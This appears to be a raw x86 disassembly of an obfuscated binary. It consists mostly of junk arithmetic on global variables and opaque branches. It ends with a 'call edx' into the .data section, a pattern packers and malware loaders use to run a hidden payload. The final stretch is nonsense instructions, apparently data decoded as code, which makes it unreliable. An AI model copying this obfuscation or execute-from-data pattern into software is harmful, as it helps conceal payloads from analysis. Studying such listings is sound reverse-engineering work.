xor dword [0x48a2e0], edx
mov dx, word [0x481d64]
movsx edx, dx
shl edx, 8
mov esi, dword [0x499da0]
sub esi, edx
mov dword [0x499da0], esi
mov edx, dword [0x49c398]
cmp edx, 0xfee181a8
jl 0x407b32
mov edx, dword [0x4950f8]
shl edx, 3
or edx, 0xcdd61216
mov esi, dword [0x48ce0c]
imul esi, edx
mov dword [0x48ce0c], esi
mov edx, dword [0x494674]
lea esi, [edx + 1]
mov dword [0x494674], esi
imul edx, edx, 0x923ad3bd
cmp edx, 0x111187f2
jg 0x407b6b
mov edx, dword [0x498508]
xor edx, 0xcc83
mov si, word [0x484746]
and esi, edx
mov word [0x484746], si
mov edx, dword [0x4931ec]
inc edx
mov dword [0x4931ec], edx
xor dword [0x49c7f8], edx
mov edx, dword [0x4973f8]
mov esi, dword [0x49a9b8]
xor esi, edx
or esi, 0x2cfa
mov dx, word [0x487950]
sub edx, esi
mov word [0x487950], dx
mov dx, word [0x489ab6]
lea esi, [edx - 1]
mov word [0x489ab6], si
movsx edx, dx
and dword [0x48f234], edx
mov edx, dword [0x498458]
mov esi, dword [0x490344]
mov edi, 0xa056dccf
sub edi, esi
xor edi, edx
mov dx, word [0x485854]
or edx, edi
mov word [0x485854], dx
mov edx, dword [0x4960d8]
inc edx
mov dword [0x4960d8], edx
or edx, 0xe68a
mov si, word [0x484cba]
sub esi, edx
mov word [0x484cba], si
mov edx, dword [0x49c91c]
inc edx
mov dword [0x49c91c], edx
cmp edx, 0xc25fd717
je 0x407c23
add dword [0x495e0c], 0xe06ce2e1
or dword [0x49ca80], 0x532e229e
add dword [0x48d700], 0x54217e7f
xor dword [0x496868], 0x19169162
mov dx, word [0x485a04]
add edx, 0xffffb5ae
mov word [0x485a04], dx
mov edx, dword [0x496c74]
lea esi, [edx + 1]
mov dword [0x496c74], esi
add edx, 0x9fd88c6f
cmp edx, 0x59299aaf
jg 0x407c88
mov dx, word [0x48992c]
add edx, 0x396
mov word [0x48992c], dx
jmp 0x407c9c
mov edx, dword [0x497f8c]
cmp edx, 0x7a316956
jne 0x407c9c
mov edx, dword [0x49993c]
mov edx, dword [0x4969bc]
mov esi, dword [0x497588]
imul esi, edx
shl esi, 6
xor dword [0x49a9d8], esi
mov dx, word [0x48939c]
xor edx, 0x92f1
mov word [0x48939c], dx
mov dx, word [0x485d12]
add edx, 0xffffafad
mov word [0x485d12], dx
and dword [0x49705c], 0x5f2f9a8e
mov dx, word [0x488dec]
imul edx, edx, 0x4457
mov word [0x488dec], dx
or dword [0x498050], 0x2445d95a
mov edx, dword [0x492f2c]
shl edx, 5
cmp edx, 0xaf23fddf
jl 0x407d4a
mov dx, word [0x486caa]
inc edx
mov word [0x486caa], dx
mov dx, word [0x480c26]
inc edx
mov word [0x480c26], dx
movsx edx, dx
or edx, 0xf7d4c891
xor edx, 0x808220a
mov dword [0x48a870], edx
jmp 0x407d70
mov edx, dword [0x48b2dc]
mov si, word [0x487e04]
movsx esi, si
lea edx, [edx + esi - 0x50a1afa0]
cmp edx, 0x77a00fb6
jg 0x407d70
mov dx, word [0x483914]
xor ecx, eax
mov edx, section..data
mov eax, dword [0x490378]
imul eax, eax, 0xaf7b03e2
mov dword [0x490378], eax
mov eax, dword [0x490788]
imul eax, eax, 0xcf39cabf
cmp eax, 0xc201cfaa
jne 0x407da3
mov dword [0x48f878], 0xe85892b6
sub edx, ecx
mov ax, word [0x485fbc]
add eax, 0xffff80a4
mov word [0x485fbc], ax
mov eax, dword [0x48e9a8]
lea ecx, [eax - 1]
mov dword [0x48e9a8], ecx
mov ecx, dword [0x48d860]
imul eax, eax, 0xf91b67f2
lea eax, [eax + ecx - 0x1c831c3c]
mov dword [0x48d860], eax
mov ax, word [0x484870]
inc eax
mov word [0x484870], ax
mov ax, word [0x48468c]
mov ax, word [0x48321e]
xor dword [0x498824], 0x37970e92
or dword [0x49aebc], 0x973fb21c
mov ax, word [0x486d4e]
xor eax, 0xb8d5
mov word [0x486d4e], ax
mov ax, word [0x4898e8]
cwde
shl eax, 3
mov ecx, dword [0x48fc70]
sar ecx, 2
or ecx, eax
mov eax, dword [0x498b90]
sub eax, ecx
mov dword [0x498b90], eax
or dword [0x49bd58], 0x9cdd437
mov eax, dword [0x49b584]
lea ecx, [eax - 1]
mov dword [0x49b584], ecx
cmp eax, 0x72630017
jl 0x407e64
add dword [0x49044c], 0x8b1ba7a6
mov eax, dword [0x498a54]
dec eax
mov dword [0x498a54], eax
imul eax, eax, 0x3d7e3229
add eax, 0x279774a7
or dword [0x497978], eax
call edx
and dword [0x49bec8], 0xb19c6b1
mov eax, dword [0x48ed20]
add eax, 0x3fe3596a
cmp eax, 0xdc6393a9
jg 0x407eb8
mov ax, word [0x484208]
cwde
shl eax, 8
cmp eax, 0xacb2c0d
jl 0x407eb8
or bh, byte [edx + ecx - 0x7f]
xor eax, 0x498c98
add byte [edx + ecx + 0x18], dl
xor dword [0x498c98], 0x180a5400
mov gs, word [edi]
out dx, eax
fnstenv ss:[edi - 0x3f672bf5]
enter 0x5f76, 0x1a
wait
mov dl, ah
xchg dword [ebx - 0x44], ebx
mov ecx, 0x30918bac
lahf
out 0, al
mov eax, 0xf3c8ce2d
js 0x407eab
xchg bh, ch
out dx, eax
or al, 0x94
mov edx, 0xe88bf771
inc edi
and byte [ecx], al
add byte [ecx + 0x48f21c], ah
and dword [0x49b4a8], eax
xor eax, eax
add esp, 0xc
pop esi
pop edi
ret 0x10